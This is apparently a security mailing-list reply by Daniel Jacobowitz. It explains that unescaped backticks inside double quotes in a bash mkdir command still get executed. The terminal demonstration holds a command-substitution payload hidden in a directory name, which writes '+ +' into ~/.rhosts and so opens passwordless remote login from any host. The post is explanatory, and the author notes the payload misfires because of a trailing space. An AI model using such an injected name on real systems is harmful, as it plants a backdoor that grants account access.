Look at the mkdir command you typed, and observe that the backticks are not escaped - thus even inside of "" they are evaluated. Witness: $ ls /drow/.rh* ls: /drow/.rh*: No such file or directory $ echo $PS1 \$ $ mkdir "\ `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` " $ ls /drow/.rhosts\ /drow/.rhosts It doesn't even get .rhosts right - there's a space at the end. You told bash to make the directory: `echo -e \ "echo + +> ~\57.rhosts\ " > x; source x; rm -f \x\ ` Dan /--------------------------------\ /--------------------------------\ | Daniel Jacobowitz |__| CMU, CS class of 2002 | | Debian GNU/Linux Developer __ Part-Time Systems Programmer | | danat_private | | drowat_private | \--------------------------------/ \--------------------------------/
